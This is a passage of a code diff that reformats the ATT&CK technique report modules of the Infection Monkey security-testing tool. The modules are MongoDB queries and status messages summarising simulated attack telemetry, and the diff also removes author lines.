- 'name': {'$literal': 'SSH info'}}, - {'used': {'$and': [{'$ifNull': ['$azure_info', False]}, {'$ne': ['$azure_info', []]}]}, - 'name': {'$literal': 'Azure info'}} - ]}}, - {'$group': {'_id': {'machine': '$machine', 'collections': '$collections'}}}, - {"$replaceRoot": {"newRoot": "$_id"}}] + query = [ + {"$match": {"telem_category": "system_info", "data.network_info": {"$exists": True}}}, + { + "$project": { + "machine": {"hostname": "$data.hostname", "ips": "$data.network_info.networks"}, + "aws": "$data.aws", + "netstat": "$data.network_info.netstat", + "process_list": "$data.process_list", + "ssh_info": "$data.ssh_info", + "azure_info": "$data.Azure", + } + }, + { + "$project": { + "_id": 0, + "machine": 1, + "collections": [ + { + "used": {"$and": [{"$ifNull": ["$netstat", False]}, {"$gt": ["$aws", {}]}]}, + "name": {"$literal": "Amazon Web Services info"}, + }, + { + "used": { + "$and": [ + {"$ifNull": ["$process_list", False]}, + {"$gt": ["$process_list", {}]}, + ] + }, + "name": {"$literal": "Running process list"}, + }, + { + "used": { + "$and": [{"$ifNull": ["$netstat", False]}, {"$ne": ["$netstat", []]}] + }, + "name": {"$literal": "Network connections"}, + }, + { + "used": { + "$and": [{"$ifNull": ["$ssh_info", False]}, {"$ne": ["$ssh_info", []]}] + }, + "name": {"$literal": "SSH info"}, + }, + { + "used": { + "$and": [ + {"$ifNull": ["$azure_info", False]}, + {"$ne": ["$azure_info", []]}, + ] + }, + "name": {"$literal": "Azure info"}, + }, + ], + } + }, + {"$group": {"_id": {"machine": "$machine", "collections": "$collections"}}}, + {"$replaceRoot": {"newRoot": "$_id"}}, + ] @staticmethod def get_report_data(): @@ -48,8 +79,8 @@ class T1082(AttackTechnique): return (status, system_info) status, system_info = get_technique_status_and_data() - data = {'title': T1082.technique_title()} - data.update({'system_info': system_info}) + data = {"title": T1082.technique_title()} + data.update({"system_info": system_info}) data.update(T1082.get_mitigation_by_status(status)) data.update(T1082.get_message_and_status(status)) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py index d6237a3f7..eaaa7a155 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py @@ -2,8 +2,6 @@ from common.utils.attack_utils import ScanStatus from monkey_island.cc.database import mongo from monkey_island.cc.services.attack.technique_reports import AttackTechnique -__author__ = "VakarisZ" - class T1086(AttackTechnique): tech_id = "T1086" @@ -11,17 +9,30 @@ class T1086(AttackTechnique): scanned_msg = "" used_msg = "Monkey successfully ran powershell commands on exploited machines in the network." - query = [{'$match': {'telem_category': 'exploit', - 'data.info.executed_cmds': {'$elemMatch': {'powershell': True}}}}, - {'$project': {'machine': '$data.machine', - 'info': '$data.info'}}, - {'$project': {'_id': 0, - 'machine': 1, - 'info.finished': 1, - 'info.executed_cmds': {'$filter': {'input': '$info.executed_cmds', - 'as': 'command', - 'cond': {'$eq': ['$$command.powershell', True]}}}}}, - {'$group': {'_id': '$machine', 'data': {'$push': '$$ROOT'}}}] + query = [ + { + "$match": { + "telem_category": "exploit", + "data.info.executed_cmds": {"$elemMatch": {"powershell": True}}, + } + }, + {"$project": {"machine": "$data.machine", "info": "$data.info"}}, + { + "$project": { + "_id": 0, + "machine": 1, + "info.finished": 1, + "info.executed_cmds": { + "$filter": { + "input": "$info.executed_cmds", + "as": "command", + "cond": {"$eq": ["$$command.powershell", True]}, + } + }, + } + }, + {"$group": {"_id": "$machine", "data": {"$push": "$$ROOT"}}}, + ] @staticmethod def get_report_data(): @@ -35,7 +46,7 @@ class T1086(AttackTechnique): return (status, cmd_data) status, cmd_data = get_technique_status_and_data() - data = {'title': T1086.technique_title(), 'cmds': cmd_data} + data = {"title": T1086.technique_title(), "cmds": cmd_data} data.update(T1086.get_mitigation_by_status(status)) data.update(T1086.get_message_and_status(status)) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1087.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1087.py index 91e1204f4..6c42fea74 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1087.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1087.py @@ -1,8 +1,6 @@ from common.common_consts.post_breach_consts import POST_BREACH_ACCOUNT_DISCOVERY from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique -__author__ = "shreyamalviya" - class T1087(PostBreachTechnique): tech_id = "T1087" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py index f68ab1166..c5b0a9eed 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py @@ -2,8 +2,6 @@ from common.utils.attack_utils import ScanStatus from monkey_island.cc.models import Monkey from monkey_island.cc.services.attack.technique_reports import AttackTechnique -__author__ = "VakarisZ" - class T1090(AttackTechnique): tech_id = "T1090" @@ -23,5 +21,5 @@ class T1090(AttackTechnique): status, monkeys = get_technique_status_and_data() data = T1090.get_base_data_by_status(status) - data.update({'proxies': monkeys}) + data.update({"proxies": monkeys}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1099.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1099.py index a16d3423d..59daea695 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1099.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1099.py @@ -1,8 +1,6 @@ from common.common_consts.post_breach_consts import POST_BREACH_TIMESTOMPING from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique -__author__ = "shreyamalviya" - class T1099(PostBreachTechnique): tech_id = "T1099" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py index 832976617..225efcda8 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py @@ -1,8 +1,6 @@ from monkey_island.cc.database import mongo from monkey_island.cc.services.attack.technique_reports import AttackTechnique -__author__ = "VakarisZ" - class T1105(AttackTechnique): tech_id = "T1105" @@ -10,17 +8,22 @@ class T1105(AttackTechnique): scanned_msg = "Monkey tried to copy files, but failed." used_msg = "Monkey successfully copied files to systems on the network." - query = [{'$match': {'telem_category': 'attack', - 'data.technique': tech_id}}, - {'$project': {'_id': 0, - 'src': '$data.src', - 'dst': '$data.dst', - 'filename': '$data.filename'}}, - {'$group': {'_id': {'src': '$src', 'dst': '$dst', 'filename': '$filename'}}}, - {"$replaceRoot": {"newRoot": "$_id"}}] + query = [ + {"$match": {"telem_category": "attack", "data.technique": tech_id}}, + { + "$project": { + "_id": 0, + "src": "$data.src", + "dst": "$data.dst", + "filename": "$data.filename", + } + }, + {"$group": {"_id": {"src": "$src", "dst": "$dst", "filename": "$filename"}}}, + {"$replaceRoot": {"newRoot": "$_id"}}, + ] @staticmethod def get_report_data(): data = T1105.get_tech_base_data() - data.update({'files': list(mongo.db.telemetry.aggregate(T1105.query))}) + data.update({"files": list(mongo.db.telemetry.aggregate(T1105.query))}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py index d07a66038..14019634a 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py @@ -1,7 +1,5 @@ from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique -__author__ = "VakarisZ" - class T1106(UsageTechnique): tech_id = "T1106" @@ -12,5 +10,5 @@ class T1106(UsageTechnique): @staticmethod def get_report_data(): data = T1106.get_tech_base_data() - data.update({'api_uses': T1106.get_usage_data()}) + data.update({"api_uses": T1106.get_usage_data()}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py index 9448c2e6b..713fffb24 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py @@ -1,8 +1,6 @@ from monkey_island.cc.database import mongo from monkey_island.cc.services.attack.technique_reports import AttackTechnique -__author__ = "VakarisZ" - class T1107(AttackTechnique): tech_id = "T1107" @@ -10,23 +8,36 @@ class T1107(AttackTechnique): scanned_msg = "Monkey tried to delete files on systems in the network, but failed." used_msg = "Monkey successfully deleted files on systems in the network." - query = [{'$match': {'telem_category': 'attack', - 'data.technique': 'T1107'}}, - {'$lookup': {'from': 'monkey', - 'localField': 'monkey_guid', - 'foreignField': 'guid', - 'as': 'monkey'}}, - {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]}, - 'status': '$data.status', - 'path': '$data.path'}}, - {'$addFields': {'_id': 0, - 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'}, - 'monkey': 0}}, - {'$group': {'_id': {'machine': '$machine', 'status': '$status', 'path': '$path'}}}] + query = [ + {"$match": {"telem_category": "attack", "data.technique": "T1107"}}, + { + "$lookup": { + "from": "monkey", + "localField": "monkey_guid", + "foreignField": "guid", + "as": "monkey", + } + }, + { + "$project": { + "monkey": {"$arrayElemAt": ["$monkey", 0]}, + "status": "$data.status", + "path": "$data.path", + } + }, + { + "$addFields": { + "_id": 0, + "machine": {"hostname": "$monkey.hostname", "ips": "$monkey.ip_addresses"}, + "monkey": 0, + } + }, + {"$group": {"_id": {"machine": "$machine", "status": "$status", "path": "$path"}}}, + ] @staticmethod def get_report_data(): data = T1107.get_tech_base_data() deleted_files = list(mongo.db.telemetry.aggregate(T1107.query)) - data.update({'deleted_files': deleted_files}) + data.update({"deleted_files": deleted_files}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py index 63e6ba26f..2d1702b64 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py @@ -3,8 +3,6 @@ from monkey_island.cc.database import mongo from monkey_island.cc.services.attack.technique_reports import AttackTechnique from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds -__author__ = "VakarisZ" - class T1110(AttackTechnique): tech_id = "T1110" @@ -13,15 +11,24 @@ class T1110(AttackTechnique): used_msg = "Monkey successfully used brute force in the network." # Gets data about brute force attempts - query = [{'$match': {'telem_category': 'exploit', - 'data.attempts': {'$not': {'$size': 0}}}}, - {'$project': {'_id': 0, - 'machine': '$data.machine', - 'info': '$data.info', - 'attempt_cnt': {'$size': '$data.attempts'}, - 'attempts': {'$filter': {'input': '$data.attempts', - 'as': 'attempt', - 'cond': {'$eq': ['$$attempt.result', True]}}}}}] + query = [ + {"$match": {"telem_category": "exploit", "data.attempts": {"$not": {"$size": 0}}}}, + { + "$project": { + "_id": 0, + "machine": "$data.machine", + "info": "$data.info", + "attempt_cnt": {"$size": "$data.attempts"}, + "attempts": { + "$filter": { + "input": "$data.attempts", + "as": "attempt", + "cond": {"$eq": ["$$attempt.result", True]}, + } + }, + } + }, + ] @staticmethod def get_report_data(): @@ -31,10 +38,10 @@ class T1110(AttackTechnique): succeeded = False for result in attempts: - result['successful_creds'] = [] - for attempt in result['attempts']: + result["successful_creds"] = [] + for attempt in result["attempts"]: succeeded = True - result['successful_creds'].append(parse_creds(attempt)) + result["successful_creds"].append(parse_creds(attempt)) if succeeded: status = ScanStatus.USED.value @@ -48,7 +55,7 @@ class T1110(AttackTechnique): data = T1110.get_base_data_by_status(status) # Remove data with no successful brute force attempts - attempts = [attempt for attempt in attempts if attempt['attempts']] + attempts = [attempt for attempt in attempts if attempt["attempts"]] - data.update({'services': attempts}) + data.update({"services": attempts}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py index 3a13c5101..8fce14138 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py @@ -1,16 +1,16 @@ from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique -__author__ = "VakarisZ" - class T1129(UsageTechnique): tech_id = "T1129" - unscanned_msg = "Monkey didn't try to load any DLLs since it didn't run on any Windows machines." + unscanned_msg = ( + "Monkey didn't try to load any DLLs since it didn't run on any Windows machines." + ) scanned_msg = "Monkey tried to load DLLs, but failed." used_msg = "Monkey successfully loaded DLLs using Windows module loader." @staticmethod def get_report_data(): data = T1129.get_tech_base_data() - data.update({'dlls': T1129.get_usage_data()}) + data.update({"dlls": T1129.get_usage_data()}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py index d9d86e08e..ed5a820a5 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py @@ -1,8 +1,9 @@ -from common.common_consts.post_breach_consts import POST_BREACH_BACKDOOR_USER, POST_BREACH_COMMUNICATE_AS_NEW_USER +from common.common_consts.post_breach_consts import ( + POST_BREACH_BACKDOOR_USER, + POST_BREACH_COMMUNICATE_AS_NEW_USER, +) from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique -__author__ = "shreyamalviya" - class T1136(PostBreachTechnique): tech_id = "T1136" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py index 5d96d863e..818691bd0 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py @@ -2,8 +2,6 @@ from common.utils.attack_utils import ScanStatus from monkey_island.cc.database import mongo from monkey_island.cc.services.attack.technique_reports import AttackTechnique -__author__ = "VakarisZ" - class T1145(AttackTechnique): tech_id = "T1145" @@ -12,11 +10,21 @@ class T1145(AttackTechnique): used_msg = "Monkey found ssh keys on machines in the network." # Gets data about ssh keys found - query = [{'$match': {'telem_category': 'system_info', - 'data.ssh_info': {'$elemMatch': {'private_key': {'$exists': True}}}}}, - {'$project': {'_id': 0, - 'machine': {'hostname': '$data.hostname', 'ips': '$data.network_info.networks'}, - 'ssh_info': '$data.ssh_info'}}] + query = [ + { + "$match": { + "telem_category": "system_info", + "data.ssh_info": {"$elemMatch": {"private_key": {"$exists": True}}}, + } + }, + { + "$project": { + "_id": 0, + "machine": {"hostname": "$data.hostname", "ips": "$data.network_info.networks"}, + "ssh_info": "$data.ssh_info", + } + }, + ] @staticmethod def get_report_data(): @@ -32,5 +40,5 @@ class T1145(AttackTechnique): status, ssh_info = get_technique_status_and_data() data = T1145.get_base_data_by_status(status) - data.update({'ssh_info': ssh_info}) + data.update({"ssh_info": ssh_info}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1146.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1146.py index e1ca3423f..951233418 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1146.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1146.py @@ -1,21 +1,33 @@ from common.common_consts.post_breach_consts import POST_BREACH_CLEAR_CMD_HISTORY from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique -__author__ = "shreyamalviya" - class T1146(PostBreachTechnique): tech_id = "T1146" - unscanned_msg = "Monkey didn't try clearing the command history since it didn't run on any Linux machines." + unscanned_msg = ( + "Monkey didn't try clearing the command history since it didn't run on any Linux machines." + ) scanned_msg = "Monkey tried clearing the command history but failed." used_msg = "Monkey successfully cleared the command history (and then restored it back)." pba_names = [POST_BREACH_CLEAR_CMD_HISTORY] @staticmethod def get_pba_query(*args): - return [{'$match': {'telem_category': 'post_breach', - 'data.name': POST_BREACH_CLEAR_CMD_HISTORY}}, - {'$project': {'_id': 0, - 'machine': {'hostname': {'$arrayElemAt': ['$data.hostname', 0]}, - 'ips': [{'$arrayElemAt': ['$data.ip', 0]}]}, - 'result': '$data.result'}}] + return [ + { + "$match": { + "telem_category": "post_breach", + "data.name": POST_BREACH_CLEAR_CMD_HISTORY, + } + }, + { + "$project": { + "_id": 0, + "machine": { + "hostname": {"$arrayElemAt": ["$data.hostname", 0]}, + "ips": [{"$arrayElemAt": ["$data.ip", 0]}], + }, + "result": "$data.result", + } + }, + ] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1154.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1154.py index d775fcffc..3e7cb677b 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1154.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1154.py @@ -1,8 +1,6 @@ from common.common_consts.post_breach_consts import POST_BREACH_TRAP_COMMAND from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique -__author__ = "shreyamalviya" - class T1154(PostBreachTechnique): tech_id = "T1154" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1156.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1156.py index 0b2fdf41e..2dd6e03af 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1156.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1156.py @@ -1,24 +1,39 @@ from common.common_consts.post_breach_consts import POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique -__author__ = "shreyamalviya" - class T1156(PostBreachTechnique): tech_id = "T1156" - unscanned_msg = "Monkey didn't try modifying bash startup files since it didn't run on any Linux machines." + unscanned_msg = ( + "Monkey didn't try modifying bash startup files since it didn't run on any Linux machines." + ) scanned_msg = "Monkey tried modifying bash startup files but failed." used_msg = "Monkey successfully modified bash startup files." pba_names = [POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION] @staticmethod def get_pba_query(*args): - return [{'$match': {'telem_category': 'post_breach', - 'data.name': POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION}}, - {'$project': {'_id': 0, - 'machine': {'hostname': {'$arrayElemAt': ['$data.hostname', 0]}, - 'ips': [{'$arrayElemAt': ['$data.ip', 0]}]}, - 'result': '$data.result'}}, - {'$unwind': '$result'}, - {'$match': {'$or': [{'result': {'$regex': r'\.bash'}}, - {'result': {'$regex': r'\.profile'}}]}}] + return [ + { + "$match": { + "telem_category": "post_breach", + "data.name": POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION, + } + }, + { + "$project": { + "_id": 0, + "machine": { + "hostname": {"$arrayElemAt": ["$data.hostname", 0]}, + "ips": [{"$arrayElemAt": ["$data.ip", 0]}], + }, + "result": "$data.result", + } + }, + {"$unwind": "$result"}, + { + "$match": { + "$or": [{"result": {"$regex": r"\.bash"}}, {"result": {"$regex": r"\.profile"}}] + } + }, + ] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1158.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1158.py index 9e688fd37..f58ef371a 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1158.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1158.py @@ -1,8 +1,6 @@ from common.common_consts.post_breach_consts import POST_BREACH_HIDDEN_FILES from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique -__author__ = "shreyamalviya" - class T1158(PostBreachTechnique): tech_id = "T1158" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1166.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1166.py index ab482f0f6..2b13d0865 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1166.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1166.py @@ -1,12 +1,13 @@ from common.common_consts.post_breach_consts import POST_BREACH_SETUID_SETGID from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique -__author__ = "shreyamalviya" - class T1166(PostBreachTechnique): tech_id = "T1166" - unscanned_msg = "Monkey didn't try setting the setuid or setgid bits since it didn't run on any Linux machines." + unscanned_msg = ( + "Monkey didn't try setting the setuid or setgid bits since it didn't run on " + "any Linux machines." + ) scanned_msg = "Monkey tried setting the setuid or setgid bits but failed." used_msg = "Monkey successfully set the setuid or setgid bits." pba_names = [POST_BREACH_SETUID_SETGID] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1168.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1168.py index a690086dc..a0cc0ee78 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1168.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1168.py @@ -1,12 +1,12 @@ from common.common_consts.post_breach_consts import POST_BREACH_JOB_SCHEDULING from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique -__author__ = "shreyamalviya" - class T1168(PostBreachTechnique): tech_id = "T1168" - unscanned_msg = "Monkey didn't try scheduling a job on Linux since it didn't run on any Linux machines." + unscanned_msg = ( + "Monkey didn't try scheduling a job on Linux since it didn't run on any Linux machines." + ) scanned_msg = "Monkey tried scheduling a job on the Linux system but failed." used_msg = "Monkey scheduled a job on the Linux system." pba_names = [POST_BREACH_JOB_SCHEDULING] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py index 2dbf87638..b41c1fb54 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py @@ -2,8 +2,6 @@ from common.utils.attack_utils import ScanStatus from monkey_island.cc.models.monkey import Monkey from monkey_island.cc.services.attack.technique_reports import AttackTechnique -__author__ = "VakarisZ" - class T1188(AttackTechnique): tech_id = "T1188" @@ -24,14 +22,18 @@ class T1188(AttackTechnique): proxy_count += 1 proxy = proxy.tunnel if proxy_count > 1: - hops.append({'from': initial.get_network_info(), - 'to': proxy.get_network_info(), - 'count': proxy_count}) + hops.append( + { + "from": initial.get_network_info(), + "to": proxy.get_network_info(), + "count": proxy_count, + } + ) status = ScanStatus.USED.value if hops else ScanStatus.UNSCANNED.value return (status, hops) status, hops = get_technique_status_and_data() data = T1188.get_base_data_by_status(status) - data.update({'hops': hops}) + data.update({"hops": hops}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py index b87aeb275..1de5f3080 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py @@ -1,27 +1,32 @@ from monkey_island.cc.database import mongo from monkey_island.cc.services.attack.technique_reports import AttackTechnique -__author__ = "VakarisZ" - class T1197(AttackTechnique): tech_id = "T1197" - unscanned_msg = "Monkey didn't try to use any bits jobs since it didn't run on any Windows machines." + unscanned_msg = ( + "Monkey didn't try to use any bits jobs since it didn't run on any Windows machines." + ) scanned_msg = "Monkey tried to use bits jobs but failed." used_msg = "Monkey successfully used bits jobs at least once in the network." @staticmethod def get_report_data(): data = T1197.get_tech_base_data() - bits_results = mongo.db.telemetry.aggregate([{'$match': {'telem_category': 'attack', - 'data.technique': T1197.tech_id}}, - {'$group': {'_id': {'ip_addr': '$data.machine.ip_addr', - 'usage': '$data.usage'}, - 'ip_addr': {'$first': '$data.machine.ip_addr'}, - 'domain_name': {'$first': '$data.machine.domain_name'}, - 'usage': {'$first': '$data.usage'}, - 'time': {'$first': '$timestamp'}} - }]) + bits_results = mongo.db.telemetry.aggregate( + [ + {"$match": {"telem_category": "attack", "data.technique": T1197.tech_id}}, + { + "$group": { + "_id": {"ip_addr": "$data.machine.ip_addr", "usage": "$data.usage"}, + "ip_addr": {"$first": "$data.machine.ip_addr"}, + "domain_name": {"$first": "$data.machine.domain_name"}, + "usage": {"$first": "$data.usage"}, + "time": {"$first": "$timestamp"}, + } + }, + ] + ) bits_results = list(bits_results) - data.update({'bits_jobs': bits_results}) + data.update({"bits_jobs": bits_results}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py index baefcba8e..02acad288 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py @@ -2,13 +2,15 @@ from common.utils.attack_utils import ScanStatus from monkey_island.cc.database import mongo from monkey_island.cc.services.attack.technique_reports import AttackTechnique -__author__ = "VakarisZ" - class T1210(AttackTechnique): tech_id = "T1210" - unscanned_msg = "Monkey didn't scan any remote services. Maybe it didn't find any machines on the network?" - scanned_msg = "Monkey scanned for remote services on the network, but couldn't exploit any of them." + unscanned_msg = ( + "Monkey didn't scan any remote services. Maybe it didn't find any machines on the network?" + ) + scanned_msg = ( + "Monkey scanned for remote services on the network, but couldn't exploit any of them." + ) used_msg = "Monkey scanned for remote services and exploited some on the network." @staticmethod @@ -31,29 +33,45 @@ class T1210(AttackTechnique): scanned_services, exploited_services = [], [] else: scanned_services, exploited_services = status_and_data[1], status_and_data[2] - data = {'title': T1210.technique_title()} + data = {"title": T1210.technique_title()} data.update(T1210.get_message_and_status(status)) data.update(T1210.get_mitigation_by_status(status)) - data.update({'scanned_services': scanned_services, 'exploited_services': exploited_services}) + data.update( + {"scanned_services": scanned_services, "exploited_services": exploited_services} + ) return data @staticmethod def get_scanned_services(): - results = mongo.db.telemetry.aggregate([{'$match': {'telem_category': 'scan'}}, - {'$sort': {'data.service_count': -1}}, - {'$group': { - '_id': {'ip_addr': '$data.machine.ip_addr'}, - 'machine': {'$first': '$data.machine'}, - 'time': {'$first': '$timestamp'}}}]) + results = mongo.db.telemetry.aggregate( + [ + {"$match": {"telem_category": "scan"}}, + {"$sort": {"data.service_count": -1}}, + { + "$group": { + "_id": {"ip_addr": "$data.machine.ip_addr"}, + "machine": {"$first": "$data.machine"}, + "time": {"$first": "$timestamp"}, + } + }, + ] + ) return list(results) @staticmethod def get_exploited_services(): - results = mongo.db.telemetry.aggregate([{'$match': {'telem_category': 'exploit', 'data.result': True}}, - {'$group': { - '_id': {'ip_addr': '$data.machine.ip_addr'}, - 'service': {'$first': '$data.info'}, - 'machine': {'$first': '$data.machine'}, - 'time': {'$first': '$timestamp'}}}]) + results = mongo.db.telemetry.aggregate( + [ + {"$match": {"telem_category": "exploit", "data.result": True}}, + { + "$group": { + "_id": {"ip_addr": "$data.machine.ip_addr"}, + "service": {"$first": "$data.info"}, + "machine": {"$first": "$data.machine"}, + "time": {"$first": "$timestamp"}, + } + }, + ] + ) return list(results) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1216.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1216.py index 796c1a043..7ef32c559 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1216.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1216.py @@ -1,20 +1,27 @@ from common.common_consts.post_breach_consts import POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique -__author__ = "shreyamalviya" - class T1216(PostBreachTechnique): tech_id = "T1216" - unscanned_msg = "Monkey didn't attempt to execute an arbitrary program with the help of a " +\ - "pre-existing signed script since it didn't run on any Windows machines. " +\ - "If successful, this behavior could be abused by adversaries to execute malicious files that could " +\ - "bypass application control and signature validation on systems." - scanned_msg = "Monkey attempted to execute an arbitrary program with the help of a " +\ - "pre-existing signed script on Windows but failed. " +\ - "If successful, this behavior could be abused by adversaries to execute malicious files that could " +\ - "bypass application control and signature validation on systems." - used_msg = "Monkey executed an arbitrary program with the help of a pre-existing signed script on Windows. " +\ - "This behavior could be abused by adversaries to execute malicious files that could " +\ - "bypass application control and signature validation on systems." + unscanned_msg = ( + "Monkey didn't attempt to execute an arbitrary program with the help of a " + + "pre-existing signed script since it didn't run on any Windows machines. " + + "If successful, this behavior could be abused by adversaries to execute malicious " + "files that could " + "bypass application control and signature validation on " + "systems." + ) + scanned_msg = ( + "Monkey attempted to execute an arbitrary program with the help of a " + + "pre-existing signed script on Windows but failed. " + + "If successful, this behavior could be abused by adversaries to execute malicious " + "files that could " + "bypass application control and signature validation on " + "systems." + ) + used_msg = ( + "Monkey executed an arbitrary program with the help of a pre-existing signed script " + "on Windows. " + + "This behavior could be abused by adversaries to execute malicious files that could " + + "bypass application control and signature validation on systems." + ) pba_names = [POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py index 940c9e8ea..73eab6fd1 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py @@ -2,8 +2,6 @@ from common.utils.attack_utils import ScanStatus from monkey_island.cc.database import mongo from monkey_island.cc.services.attack.technique_reports import AttackTechnique -__author__ = "VakarisZ" - class T1222(AttackTechnique): tech_id = "T1222" @@ -11,14 +9,28 @@ class T1222(AttackTechnique): scanned_msg = "Monkey tried to change file permissions, but failed." used_msg = "Monkey successfully changed file permissions in network systems." - query = [{'$match': {'telem_category': 'attack', - 'data.technique': 'T1222', - 'data.status': ScanStatus.USED.value}}, - {'$group': {'_id': {'machine': '$data.machine', 'status': '$data.status', 'command': '$data.command'}}}, - {"$replaceRoot": {"newRoot": "$_id"}}] + query = [ + { + "$match": { + "telem_category": "attack", + "data.technique": "T1222", + "data.status": ScanStatus.USED.value, + } + }, + { + "$group": { + "_id": { + "machine": "$data.machine", + "status": "$data.status", + "command": "$data.command", + } + } + }, + {"$replaceRoot": 